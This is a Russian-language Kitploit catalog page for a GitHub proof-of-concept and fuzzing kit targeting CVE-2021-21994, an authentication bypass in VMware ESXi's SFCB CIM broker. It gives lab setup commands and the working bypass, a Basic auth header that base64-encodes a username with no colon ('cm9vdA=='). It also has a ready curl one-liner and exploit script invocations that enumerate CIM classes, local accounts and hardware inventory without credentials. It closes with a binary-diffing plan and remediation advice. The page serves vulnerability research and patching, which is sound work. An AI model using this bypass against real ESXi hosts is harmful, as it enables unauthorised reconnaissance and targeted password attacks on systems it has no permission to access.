Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2021-21994_POC — Проверяет и эксплуатирует обход аутентификации VMware ESXi SFCB (CVE-2021-21994) с помощью проб/фаззинг-харнеса, обеспечивающего неаутентифицированное перечисление CIM-XML. | Kitploit
Инструменты/GitHubGitHub/mreza-en/cve-2021-21994_poc
Анализ уязвимостейЭксплуатацияСбор информацииФаззингТестирование на ПроникновениеАутентификация
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

Проверяет и эксплуатирует обход аутентификации VMware ESXi SFCB (CVE-2021-21994) с помощью проб/фаззинг-харнеса, обеспечивающего неаутентифицированное перечисление CIM-XML.

Репозиторий
625 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-21994 — Обход аутентификации SFCB в VMware ESXi — лабораторный исследовательский набор

FieldValue
TypeCWE-287 Improper Authentication (обход аутентификации)
ComponentSFCB (Small Footprint CIM Broker) в составе VMware ESXi
Attack vectorСеть, TCP 5989 (CIM-XML по HTTPS), «специально сформированный запрос»
AffectedESXi 6.5 / 6.7 / 7.0 до VMSA-2021-0014 (июль 2021)
Fixсборки с патчем VMSA-2021-0014
Public PoCОтсутствует. VMware так и не раскрыла формат запроса

Ссылки: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

Поскольку PoC не существует, этот набор — инструмент для самостоятельного поиска: sfcb_probe.py проверяет оракул (check), затем применяет целевой словарь мутаций к /cimom (fuzz) и помечает любой ответ 200 с телом CIM, полученный без действительных учётных данных.

Используйте только против собственной лабораторной ВМ или целей, явно входящих в авторизованный объём работ.

1. Настройка лаборатории (соответствует цели: ESXi 6.5)

  1. Получите ISO-образ ESXi 6.5 (подойдёт любая сборка до июля 2021 года; в идеале — тот же класс сборки 6.5.0, что и у цели):
    • Портал поддержки Broadcom (бесплатная учётная запись) → загрузки VMware vSphere Hypervisor 6.5
    • Загрузки «кастомного образа ESXi 6.5» от HPE / Dell публично доступны на их сайтах поддержки
  2. Вложенная ВМ в VMware Workstation/Fusion (или KVM):
    • Включите «Виртуализацию Intel VT-x/EPT» на ВМ
    • 2 vCPU, 6 ГБ ОЗУ, тонкий диск; сетевой адаптер E1000 для установщика
    • Установите в оценочном режиме — для лаборатории лицензионный ключ не нужен
  3. Включите CIM-брокер и его набор правил межсетевого экрана (DCUI → Troubleshooting → включите ESXi Shell/SSH, затем через SSH):
    root@kitploit:~
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # must LISTEN
    
  4. Сделайте снимок ВМ (чистое состояние для повторного тестирования).

2. Запуск инструмента

root@kitploit:~
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. РЕЗУЛЬТАТЫ (лаборатория + целевой ESXi 6.5, подтверждено 2026-08-15)

Обход найден. Корневая причина: sfcbd пропускает (OPEN), когда токен Basic-аутентификации не декодируется в пару user:password, содержащую :.

Минимальный заголовок PoC (base64 от root, без двоеточия):

root@kitploit:~
Authorization: Basic cm9vdA==

Матрица результатов фаззинга:

Форма запросаСтатусЗначение
нет заголовка / валидный b64 user:pass / : / root:401есть двоеточие → аутентификация выполняется → отклонено
b64("root") (без двоеточия)200 + тело CIMнет двоеточия → аутентификация пропущена
b64("\0:\0") (пустая C-строка)200то же: нет двоеточия
невалидный base64 (пробел / BOM / префикс Basic)200ошибка декодирования → аутентификация пропущена
Basic\tTOKEN (разделитель табуляция)401разбиение по любому WSP работает → аутентификация выполняется
Basic␣␣TOKEN (двойной пробел)200разбиение по одному пробелу → токен начинается с пробела → декодирование не удаётся

Ответ 200 содержит конверт CIM-XML, обработанный внутри CIMOM (например, ERROR CODE="5" Class not found), что доказывает прохождение HTTP-слоя аутентификации — идентичный запрос без повреждённого заголовка возвращает 401.

Использование эксплойта:

root@kitploit:~
python3 sfcb_exploit.py verify    192.168.x.x          # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

Однострочный curl для скриншотов в отчёте:

root@kitploit:~
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

Воздействие: неаутентифицированный доступ на чтение к CIM-брокеру:

  • Перечисление учётных записей: экземпляры VMware_Identity раскрывают все локальные учётные записи ESXi (наблюдалось в лабораторной 6.5: root, dcui, vpxuser — хост под управлением vCenter — плюс пользовательские), что позволяет проводить целевые атаки на пароли.
  • Полная инвентаризация хоста/оборудования через 436 доступных классов (компьютерная система, процессоры, память, хранилища/датасторы, сетевые конечные точки, версии прошивки/BIOS, датчики, идентификация установленного ПО).
  • Нет пути записи: службы RBAC (VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) объявляют методы профилей DMTF (AssignRoles, AssignAccess, ...), но не предоставляют ни одного экземпляра — методы существуют только в схеме. Создание/изменение учётных записей через CIM с помощью этой CVE невозможно; максимальный эффект — неаутентифицированное раскрытие информации.

Вердикты:

  • BYPASS-STRONG — HTTP 200 + тело CIM-XML без действительных учётных данных → вы нашли обход; сохранённый запрос — ваш примитив эксплойта.
  • bypass-weak(200-no-cim-body) — 200, но нет тела CIM; изучите дамп.
  • blocked / info(400) — отклонено. Примечание: 400 обычно означает, что запрос был отклонён до проверки аутентификации — это всё ещё интересно, просто не обход.

Примечание о самостоятельно собранных телах CIM: согласно DSP0200, EnumerateInstanceNames требует IPARAMVALUE ClassName. Тело без него может быть отклонено по причинам, не связанным с аутентификацией, и испортить оракул — инструмент всегда отправляет корректное по спецификации тело.

3. План действий, если словарь ничего не найдёт

Фаззер покрывает классические формы путаницы в HTTP-парсере аутентификации. Если ни одна не сработала, остаётся (и это окончательный путь) бинарное диффинг-сравнение:

  1. Скачайте VIB esx-base для уязвимой сборки (например, класса 6.5.0 GA) и сборку 6.5/6.7/7.0 с патчем VMSA-2021-0014 из публичного индекса репозитория VMware: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. Извлеките оба VIB (это архивы ar → полезная нагрузка vib → cpio), сравните бинарники sfcbd* с помощью Ghidra + BinDiff.
  3. Сосредоточьтесь на разборе HTTP-заголовков / декодировании Basic-auth / диспетчеризации auth-провайдеров. Исходный открытый SFCB (SBLIM sfcb на SourceForge) — полезный структурный ориентир для кода HTTP+auth, хотя форк ESXi модифицирован.
  4. Превратите исправленный путь кода в точный сформированный запрос, добавьте его в инструмент, проверьте на лабораторной ВМ — это и есть настоящий эксплойт.

4. Практические примечания для отчёта

  • Уже один оракул (без аутентификации → 401) — полезная находка для усиления защиты: порт 5989 никогда не должен быть доступен из интернета.
  • При подтверждении — устранение: примените патчи VMSA-2021-0014 и новее (ESXi 6.5 больше не поддерживается — рекомендуется миграция) или закройте 5989 межсетевым экраном.
Скачать инструмент